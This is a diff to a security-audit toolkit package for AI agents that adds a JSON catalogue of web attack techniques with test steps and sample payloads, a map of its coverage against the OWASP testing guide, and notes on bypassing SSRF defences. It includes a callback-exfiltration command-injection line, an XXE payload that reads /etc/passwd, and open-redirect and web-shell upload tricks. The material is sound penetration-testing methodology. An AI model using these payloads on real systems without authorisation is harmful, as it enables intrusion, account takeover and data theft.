+      "techniques": ["Java: CommonsCollections/CommonsBeanutils/Spring gadget chains via ysoserial.", "PHP: PHPGGC chains (Monolog, Symfony, Laravel) + phar:// deserialization on file ops.", "Python: pickle + __reduce__; yaml.unsafe_load.", ".NET: ObjectDataProvider / Json.NET TypeNameHandling."],
+      "verify": "A marker command (touch /tmp/<marker> or a callback) actually fires; a malformed control blob is rejected without effect."
+    },
+    {
+      "id": "prototype_pollution",
+      "name": "Prototype Pollution",
+      "summary": "Merging attacker-controlled keys into an object reaches Object.prototype, polluting every object and enabling XSS/RCE gadgets.",
+      "objectives": ["Find a merge/extend/assign of request data into an object.", "Pollute __proto__/constructor.prototype and trigger a gadget."],
+      "how_to_test": ["Test merge functions with __proto__ and constructor.prototype keys.", "Confirm pollution (a property appears on every object).", "Trigger a gadget (child_process options, template, status/body)."],
+      "techniques": ["Client-side: location.hash / URLSearchParams merged without sanitizing __proto__ -> DOM XSS.", "Server-side (Node): Object.assign/_.merge/$.extend of req.body -> RCE via polluted child_process/express options.", "Gadgets: child_process.exec options, Handlebars/Jade options, express res.status override."],
+      "verify": "Pollution confirmed by reading a marker property on Object.prototype; a control merge of a safe key has no effect."
+    },
+    {
+      "id": "mass_assignment",
+      "name": "Mass Assignment",
+      "summary": "The framework binds request params to model fields, letting you set privileged fields (role, isAdmin, balance) the UI never exposes.",
+      "objectives": ["Find a create/update endpoint that mass-binds request fields.", "Inject a privileged field (role=admin, isAdmin=true, balance=9999)."],
+      "how_to_test": ["Add isAdmin=true / role=admin / balance=... to a create/update request.", "Observe whether the field is persisted + honored.", "Also test nested objects + arrays (user.role=admin)."],
+      "techniques": ["Laravel: guarded/$fillable gaps; Django: ModelForm fields; Rails: strong_parameters bypass via nested/array params.", "JSON duplicate key (role=user&role=admin) or array value (role[]=user&role[]=admin).", "Prototype-pollution-style: constructor.prototype in the body."],
+      "verify": "The privileged field is actually persisted + honored (e.g. your account gains admin); a control request without the field leaves role unchanged."
+    },
+    {
+      "id": "sql_injection",
+      "name": "SQL Injection",
+      "summary": "User input is interpolated into a SQL query, letting you read/modify/exfiltrate the database or reach the OS.",
+      "objectives": ["Find an injectable parameter.", "Determine the DBMS + injection type (error/union/blind/time).", "Extract data or escalate."],
+      "how_to_test": ["Probe with quote + comment markers, observe errors/differences.", "Determine column count (ORDER BY / UNION SELECT NULL,...).", "Use UNION, boolean-blind, time-blind, or error-based extraction; then escalate (file read/write, RCE via extensions)."],
+      "techniques": ["MySQL: UNION SELECT, load_file(), INTO OUTFILE, SLEEP() time-blind.", "PostgreSQL: COPY ... TO, dblink, lo_import, RCE via extensions/languages.", "MSSQL: xp_cmdshell, OPENROWSET, stacked queries.", "WAF bypass: encoding, case, comments, chunking (see bypass_lookup waf).", "Second-order: stored value later used in a query without re-validating."],
+      "verify": "A boolean/UNION marker returns distinct data (1 vs 0, or a known string); a parameterized control query is inert."
+    },
+    {
+      "id": "nosql_injection",
+      "name": "NoSQL Injection",
+      "summary": "User input is passed into a NoSQL query (MongoDB, etc.) without sanitizing operators, bypassing auth or filters.",
+      "objectives": ["Find a NoSQL query built from user input.", "Inject operators ($ne, $gt, $regex, $where) to bypass auth or extract data."],
+      "how_to_test": ["Send JSON operators in params (username=$ne, password=$ne).", "Test $regex for blind extraction, $where for JS eval.", "Try URL-encoded operator injection in GET params."],
+      "techniques": ["Auth bypass: $ne / $gt on both fields.", "Blind: $regex with ^a to enumerate values.", "$where: sleep(5000) for time-based, or arbitrary JS."],
+      "verify": "The operator injection returns data it should not (auth bypass / a different record); a control with a literal value returns the normal response."
+    },
+    {
+      "id": "xss",
+      "name": "Cross-Site Scripting",
+      "summary": "Attacker-controlled markup/script is rendered in another user's browser, stealing sessions or hijacking actions.",
+      "objectives": ["Find a reflection/storage/DOM sink.", "Confirm script execution (not just reflection).", "Escalate (session theft, account takeover)."],
+      "how_to_test": ["Inject a marker payload into reflected/stored/DOM sinks.", "Check WHERE it lands (HTML context, attribute, JS, URL) and craft a context-appropriate payload.", "Confirm execution via a callback (not just a reflected string)."],
+      "techniques": ["Context-aware payloads: <script>, <img onerror>, '><svg onload>, javascript: URL, attribute breakout.", "DOM XSS: unsafe sinks (innerHTML, document.write, eval, location) + sources (location, hash, URLSearchParams).", "Stored -> admin bot for account takeover (ap-stored-xss-admin-bot skill).", "CSP/WAF bypass via bypass_lookup."],
+      "verify": "A unique callback (image/fetch to your server) actually fires - proof of execution; a plain reflected string that never executes is NOT a finding."
+    },
+    {
+      "id": "cors",
+      "name": "Cross-Origin Resource Sharing Misconfiguration",
+      "summary": "A misconfigured CORS policy lets a malicious site read a victim's cross-origin responses.",
+      "objectives": ["Find an endpoint reflecting Origin into Access-Control-Allow-Origin with credentials.", "Confirm a cross-origin read is possible."],
+      "how_to_test": ["Send Origin: attacker.com and read Access-Control-Allow-Origin + Access-Control-Allow-Credentials.", "Test null origin, trusted-subdomain, and missing Vary: Origin."],
+      "techniques": ["Origin reflection + allow-credentials:true -> full cross-origin read.", "null origin (sandboxed iframe).", "Trusted-subdomain takeover -> CORS from that subdomain.", "ACAC + wildcard; missing Vary: Origin (cache leaks a cross-origin response)."],
+      "verify": "A cross-origin page actually reads the victim response (demonstrable), not just a reflected header; a control origin is not reflected."
+    },
+    {
+      "id": "csrf",
+      "name": "Cross-Site Request Forgery",
+      "summary": "A victim's authenticated browser is tricked into making a state-changing request the attacker crafts.",
+      "objectives": ["Find a state-changing action without a CSRF token (or with a bypassable one).", "Demonstrate a cross-site request performs it."],
+      "how_to_test": ["Test the action with and without the CSRF token.", "Bypass techniques: token not validated, token predictable, token leaked, JSON CSRF, SameSite=Lax on non-idempotent methods."],
+      "techniques": ["Remove the token; use a different session's token; predict the token.", "JSON CSRF via text/plain with a form.", "Empty-HMAC / null-token bypass (wp-empty-hmac skill).", "SameSite=Lax bypass via a GET-like state change or a popup window."],
+      "verify": "The cross-site request actually performs the action (state changes) without the token; with the token validated, it is blocked."
+    },
+    {
+      "id": "jwt",
+      "name": "JSON Web Token Attacks",
+      "summary": "Weak JWT signing/validation lets you forge tokens and impersonate users.",
+      "objectives": ["Find how the JWT is validated.", "Forge a token with a chosen claim (sub/role/admin)."],
+      "how_to_test": ["Decode the token; test alg:none.", "Test HS256/RS256 key confusion (sign with the public key as HMAC secret).", "Test kid injection (path traversal/SQLi in kid), jku/x5u to your key."],
+      "techniques": ["alg:none: strip the signature.", "RS256->HS256: sign with the public key.", "kid: ../../dev/null or a SQLi payload to pick a key.", "jku/x5u: point to an attacker-hosted JWK.", "Weak secret -> crack with jwt_tool/hashcat."],
+      "verify": "A forged token is accepted (server returns authorized data for the impersonated user); an unmodified/invalid token is rejected."
+    },
+    {
+      "id": "oauth",
+      "name": "OAuth / SSO Weaknesses",
+      "summary": "Flaws in the OAuth/SSO flow let you steal authorization codes/tokens and take over accounts.",
+      "objectives": ["Find a redirect_uri/state/client validation flaw.", "Steal the code or token."],
+      "how_to_test": ["Tamper redirect_uri (path/param variation, open redirect).", "Drop or reuse state; check PKCE enforcement.", "Test code/token reuse, client-secret leakage, response_type tampering."],
+      "techniques": ["redirect_uri confusion: open redirect, path traversal, missing state.", "state leak -> CSRF on the callback (bind victim's account to attacker's).", "PKCE downgrade; code reuse; token theft via redirect.", "Mix-up: send a victim's code to a different IdP."],
+      "verify": "An authorization code/token actually lands at an attacker-controlled endpoint; a control flow with correct redirect_uri is not redirected."
+    },
+    {
+      "id": "host_header",
+      "name": "Host Header Injection",
+      "summary": "The app trusts the Host header to build absolute URLs/routing, enabling password-reset poisoning, cache poisoning, or routing bypass.",
+      "objectives": ["Find a place the Host header is reflected into a generated URL/route.", "Exploit it (reset-link poisoning, cache poisoning, routing)."],
+      "how_to_test": ["Send Host: attacker.com and watch where it is reflected (reset link, redirects, cached content).", "Test X-Forwarded-Host / X-Host / X-Original-URL variants.", "For password reset: trigger a reset and check the emailed link's host."],
+      "techniques": ["Password-reset poisoning: Host: attacker.com -> the reset link points to your host -> steal the token.", "Cache poisoning via Host (see cache_poisoning).", "Routing bypass via Host / X-Forwarded-Host to reach internal vhosts.", "Duplicate/invalid Host to desync proxies."],
+      "verify": "The reset link (or reflected URL) actually carries your Host value - proof of reflection; a control reset without a tampered Host uses the real host."
+    },
+    {
+      "id": "open_redirect",
+      "name": "Open Redirect",
+      "summary": "An attacker-controlled redirect target is honored, letting you phish or (chained) steal OAuth tokens.",
+      "objectives": ["Find a redirect param that accepts an external URL.", "Escalate (OAuth token theft, credential phishing)."],
+      "how_to_test": ["Test ?url=/next -> ?url=//evil.com, https://trusted.com@evil.com, /%2f%2fevil.com, backslash.", "Check whether the redirect is used in an OAuth flow (token theft)."],
+      "techniques": ["//evil.com (protocol-relative), https://trusted.com@evil.com (userinfo), backslash, double-encode.", "javascript: and data: (rare).", "Chain: open redirect in redirect_uri -> steal OAuth authorization code."],
+      "verify": "The response actually redirects to your marker host; a control redirect to a whitelisted relative path stays on-site."
+    },
+    {
+      "id": "subdomain_takeover",
+      "name": "Subdomain Takeover",
+      "summary": "A subdomain's DNS points to a service that no longer exists, letting you claim it and serve content/steal cookies/CSRF from the parent.",
+      "objectives": ["Enumerate subdomains (crt.sh, subfinder) + find dangling CNAMEs.", "Claim the dangling service."],
+      "how_to_test": ["Resolve each subdomain; find CNAMEs to unclaimed services (GitHub Pages, S3, Heroku, Azure...).", "Check the service returns a not-claimed signature.", "Claim it and prove control."],
+      "techniques": ["Dangling CNAME to github.io, s3.amazonaws.com, herokuapp, azure, shopify, etc.", "DNS enumeration via crt.sh / Certificate Transparency.", "Naked-domain vs wildcard resolution."],
+      "verify": "The service accepts the claim and serves YOUR content on that subdomain; a control subdomain resolves to a live, owned service."
+    },
+    {
+      "id": "idor",
+      "name": "Insecure Direct Object Reference (IDOR / BOLA)",
+      "summary": "An object reference (id, uuid, filename) is used without an authorization check, letting you read/act on other users' objects.",
+      "objectives": ["Find object references (id, uuid, username, filename).", "Access another user's object across roles."],
+      "how_to_test": ["Enumerate /users/me -> /users/other-guid; ?id=1 -> ?id=2.", "Test UUID vs sequential id; parameterized refs; API version confusion.", "Verify by reading another user's data, never just 200 OK."],
+      "techniques": ["Change the object id/uuid/filename; mass-assign on PATCH to bind another object.", "API version: /v2 requires auth, /v1 does not.", "Nested refs: /users/{id}/files/{fileId}.", "UUIDv1 (guessable timestamp-based) vs UUIDv4."],
+      "verify": "You actually read/act on ANOTHER user's object (different data returned) - proof of broken authorization; your own object is the control."
+    },
+    {
+      "id": "graphql",
+      "name": "GraphQL",
+      "summary": "GraphQL exposes a flexible query interface; introspection, batching, and missing field-level authz become bugs.",
+      "objectives": ["Dump the schema (introspection).", "Find excessive data exposure, field/authorization bypass, or DoS."],
+      "how_to_test": ["Introspection query to dump the full schema.", "Query hidden/privileged fields the UI never exposes.", "Batching + aliases to bypass rate limits and force deep recursion."],
+      "techniques": ["Introspection: __schema query to list types and fields.", "Aliases: many aliased fields to bypass a per-query limit.", "Batching: multiple operations in one request to test IDOR across objects.", "Depth/recursion DoS; field-level authz bypass (query admin-only fields)."],
+      "verify": "A query for a field the UI hides actually returns data; a control query for an allowed field returns normally."
+    },
+    {
+      "id": "websocket",
+      "name": "WebSocket Attacks",
+      "summary": "WebSocket connections may lack Origin checks or per-message authorization, enabling hijacking or cross-user actions.",
+      "objectives": ["Find a WebSocket endpoint with weak Origin/authorization.", "Hijack or inject messages."],
+      "how_to_test": ["Connect and check the Origin/CSRF-token validation on the handshake.", "Test per-message authorization (auth on connect only).", "Test cross-site WebSocket hijacking from a browser."],
+      "techniques": ["Cross-site WebSocket hijacking (no Origin check) -> read/write the victim's socket.", "Message smuggling / injection into the socket stream.", "Authorization on connect but not per-message."],
+      "verify": "A cross-origin page (or a different user) can read/write the socket - proof of missing Origin/authz; a control with a valid Origin is blocked."
+    },
+    {
+      "id": "file_upload",
+      "name": "File Upload",
+      "summary": "An upload endpoint accepts a file that is later executed/served, leading to RCE or stored XSS.",
+      "objectives": ["Find an upload endpoint + where files are served.", "Upload an executable (shell) or a stored-XSS file."],
+      "how_to_test": ["Upload a benign file and locate its URL + execution context.", "Bypass extension/type/content checks (see bypass_lookup).", "Upload a web shell (if server-side execution) or an HTML/SVG (stored XSS)."],
+      "techniques": ["Extension bypass: .php5, .phtml, .php.jpg, .phar, double extension, null byte.", "Content-type/MIME spoofing; magic-byte spoofing (GIF89a + PHP).", "SVG XSS; polyglot files (JPEG+JS).", "Filename/path control -> overwrite or place outside the upload dir."],
+      "verify": "The uploaded shell executes a marker command (or the SVG fires a callback) - proof of execution; a control benign file is served inertly."
+    },
+    {
+      "id": "path_traversal_lfi",
+      "name": "Path Traversal / Local File Inclusion",
+      "summary": "A file path is built from user input, letting you read arbitrary files or include a file (LFI to RCE).",
+      "objectives": ["Find a file/read/include param.", "Read a sensitive file (or include a shell -> RCE)."],
+      "how_to_test": ["../../../../etc/passwd, encoded variants.", "For LFI, include a file you control (upload, /proc/self/environ, php://filter).", "LFI to RCE via wrappers/log poisoning/phpinfo."],
+      "techniques": ["Encoding: ..%2f, %252e%252e, ..%252f, double-encode, null byte (legacy).", "LFI to RCE: php://filter/convert.base64-encode to read source, /proc/self/fd, log poisoning, phpinfo(), temp-file upload.", "Windows: ..\\, absolute paths."],
+      "verify": "A known file's content is actually read (marker: /etc/passwd contents); a control path that is not traversed returns the intended file."
+    },
+    {
+      "id": "command_injection",
+      "name": "Command Injection",
+      "summary": "User input reaches a shell command, letting you execute OS commands.",
+      "objectives": ["Find a param passed to a shell/system call.", "Inject a command separator + a marker command."],
+      "how_to_test": ["Inject ; | & && || backtick $() and a marker command.", "Detect blind injection via timing (sleep) or a callback (curl/wget)."],
+      "techniques": ["Separators: ; | & && || backtick $() %0a (newline).", "Blind: sleep 5 (time-based), or curl http://your-host/$(id) (callback exfil).", "Filter bypass: variable expansion, base64, $(tr), unicode."],
+      "verify": "A marker command actually executes (callback received / sleep observed); a control with no separator runs the intended command."
+    },
+    {
+      "id": "xxe",
+      "name": "XML External Entity (XXE)",
+      "summary": "An XML parser resolves external entities, letting you read local files, SSRF, or DoS.",
+      "objectives": ["Find an endpoint parsing XML.", "Inject an external entity to read a file or SSRF."],
+      "how_to_test": ["Send a crafted XML with a DOCTYPE + external entity.", "Exfiltrate via the response (or OOB via a callback)."],
+      "techniques": ["<!DOCTYPE x [<!ENTITY e SYSTEM 'file:///etc/passwd'>]> &e;.", "Blind/OOB: SYSTEM with a callback URL exfiltration.", "Parameter entities + XInclude for no-DOCTYPE cases; billion-laughs DoS.", "SAML/SOAP/svg endpoints are common XXE sinks."],
+      "verify": "A known file's content is returned in the response (or a callback fires) - proof; a control XML without the entity returns normally."
+    }
+  ]
+}

package/intelligence/wstg_map.json

@@ -0,0 +1,113 @@
+{
+  "_comment": "OWASP WSTG -> Blitz Strike coverage map. Each WSTG category maps to the Blitz skill/phase/tools/data that covers it; 'advanced' lists the high-value tests where Blitz has a specific deterministic or doctrine capability (the moat).",
+  "categories": [
+    {
+      "wstg": "WSTG-INFO",
+      "name": "Information Gathering",
+      "phase": "recon",
+      "skill": "web-hunting (live) / source-audit (source)",
+      "tools": ["live_recon", "list_attack_vectors", "detect_framework", "blitz_scan"],
+      "data": ["attack_vectors", "port_correlations", "tech_correlations"],
+      "advanced": ["Fingerprint Web Server/App/Framework", "Attack Surface Identification", "Map Application Architecture"]
+    },
+    {
+      "wstg": "WSTG-CONF",
+      "name": "Configuration & Deployment Management",
+      "phase": "recon",
+      "skill": "web-hunting",
+      "tools": ["live_recon", "active_scan"],
+      "data": [],
+      "advanced": ["Subdomain Takeover", "Cloud Storage", "Path Confusion", "Old Backup & Unreferenced Files", "Content Security Policy"]
+    },
+    {
+      "wstg": "WSTG-IDNT",
+      "name": "Identity Management",
+      "phase": "analyze",
+      "skill": "web-hunting",
+      "tools": ["active_scan"],
+      "data": ["payloads"],
+      "advanced": ["Account Enumeration & Guessable User Account"]
+    },
+    {
+      "wstg": "WSTG-ATHN",
+      "name": "Authentication",
+      "phase": "analyze",
+      "skill": "web-hunting",
+      "tools": ["active_scan", "bypass_lookup"],
+      "data": ["bypass_techniques", "payloads"],
+      "advanced": ["Bypassing Authentication Schema", "Weak Password Change/Reset", "Multi-Factor Authentication"]
+    },
+    {
+      "wstg": "WSTG-ATHZ",
+      "name": "Authorization",
+      "phase": "analyze",
+      "skill": "web-hunting + ap-idor-exploitation",
+      "tools": ["active_scan", "browser_validate"],
+      "data": [],
+      "advanced": ["Insecure Direct Object References", "Privilege Escalation", "OAuth Weaknesses", "Directory Traversal / File Include"]
+    },
+    {
+      "wstg": "WSTG-SESS",
+      "name": "Session Management",
+      "phase": "analyze",
+      "skill": "web-hunting",
+      "tools": ["active_scan"],
+      "data": ["payloads"],
+      "advanced": ["JSON Web Tokens", "Session Fixation", "Session Puzzling", "Cross-Site Request Forgery"]
+    },
+    {
+      "wstg": "WSTG-INPV",
+      "name": "Input Validation / Injection",
+      "phase": "analyze + deep",
+      "skill": "source-audit (taint) + web-hunting (advanced)",
+      "tools": ["eagle_eye2", "taint_file", "complex_scan", "active_scan"],
+      "data": ["chains", "chain_links", "payloads", "bypass_techniques"],
+      "advanced": ["HTTP Request Smuggling", "Host Header Injection", "Server-Side Template Injection", "Server-Side Request Forgery", "Mass Assignment", "CSV Injection", "Prototype Pollution", "Insecure Deserialization", "SQL/LDAP/XPath/SSI/XML/Command/Code Injection", "HTTP Response Splitting"]
+    },
+    {
+      "wstg": "WSTG-ERRH",
+      "name": "Error Handling",
+      "phase": "analyze",
+      "skill": "web-hunting",
+      "tools": ["active_scan"],
+      "data": [],
+      "advanced": ["Improper Error Handling", "Stack Traces"]
+    },
+    {
+      "wstg": "WSTG-CRYP",
+      "name": "Cryptography",
+      "phase": "analyze",
+      "skill": "hp-tls-transport + ap-client-side-crypto-forgery",
+      "tools": ["active_scan"],
+      "data": [],
+      "advanced": ["Weak Transport Layer Security", "Padding Oracle", "Weak Cryptographic Primitives"]
+    },
+    {
+      "wstg": "WSTG-BUSL",
+      "name": "Business Logic",
+      "phase": "deep",
+      "skill": "hp-business-logic-fuzzing + complex_scan",
+      "tools": ["complex_scan", "route_scan"],
+      "data": ["chains", "chain_links"],
+      "advanced": ["Circumvention of Work Flows", "Process Timing (race conditions)", "Payment Functionality", "Number of Times a Function Can Be Used"]
+    },
+    {
+      "wstg": "WSTG-CLNT",
+      "name": "Client-side",
+      "phase": "deep",
+      "skill": "web-hunting + ap-stored-xss-admin-bot",
+      "tools": ["browser_validate", "active_scan"],
+      "data": ["payloads"],
+      "advanced": ["DOM-based XSS", "Cross-Origin Resource Sharing", "Clickjacking", "Browser Storage", "Reverse Tabnabbing", "Client-Side Template Injection", "Web Messaging"]
+    },
+    {
+      "wstg": "WSTG-APIT",
+      "name": "API Testing",
+      "phase": "analyze + deep",
+      "skill": "web-hunting + hp-api-security",
+      "tools": ["active_scan", "browser_validate"],
+      "data": [],
+      "advanced": ["Broken Object/Function Level Authorization", "Excessive Data Exposure", "GraphQL", "WebSockets"]
+    }
+  ]
+}

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "blitzstrike",
-  "version": "1.0.98",
+  "version": "1.1.0",
   "description": "Blitz Strike — a universal MCP security-audit toolbelt. BLITZ sweeps the attack surface, EAGLE-EYE traces source-to-sink, STRIKE verifies live. 57 attack chains, 130-tool catalog, intelligence data layer. One server, every agent.",
   "type": "module",
   "bin": {

package/skills/bs-web-hunting.md

@@ -61,6 +61,10 @@ the ones basic scanners miss. Hunt those.
   `127.0.0.1.nip.io`, DNS rebinding, `http://127.0.0.1:80@evil/`, double-URL-encode.
 - Scheme tricks: `gopher://`, `dict://`, `file://`, `http://` to internal ports.
 - Redirect bypass: an allow-listed host that 302s to an internal address.
+- DNS-rebinding vs safe-url checks: a "safe" wrapper that resolves the hostname
+  once to validate and again to connect (e.g. `wp_safe_remote_*`) is rebinding-
+  bypassable — the name resolves to an allowed IP at check time and an internal
+  IP at request time.
 - The prize: cloud metadata (`169.254.169.254`), Redis/Postgres, internal admin.
   `ap-ssrf-cloud-metadata` skill has the metadata endpoints.
 
@@ -169,6 +173,8 @@ into the next follow-up.
 - **Sub-agent/model failed** → `model_fallback(signal)` + `retry_guidance(signal)`.
 - **Am I done?** → `engagement_status()`.
 - **Need the campaign plan** → `read_playbook(web-application)` / `api-security`.
+- **Detailed methodology for one class** → `technique_lookup(ssrf|ssti|jwt|...)`
+  (summary + objectives + how-to-test + tricks + verify).
 - **Need to run an external exploit tool** → `tool_lookup` → `ensure_tool` → `read_tool_manual`.
 - **Verification** → `verify-finding` skill. **Review** → `adversarial-review`.
 - **The full map** → `doctrine_map` (phase → skill → tools → data).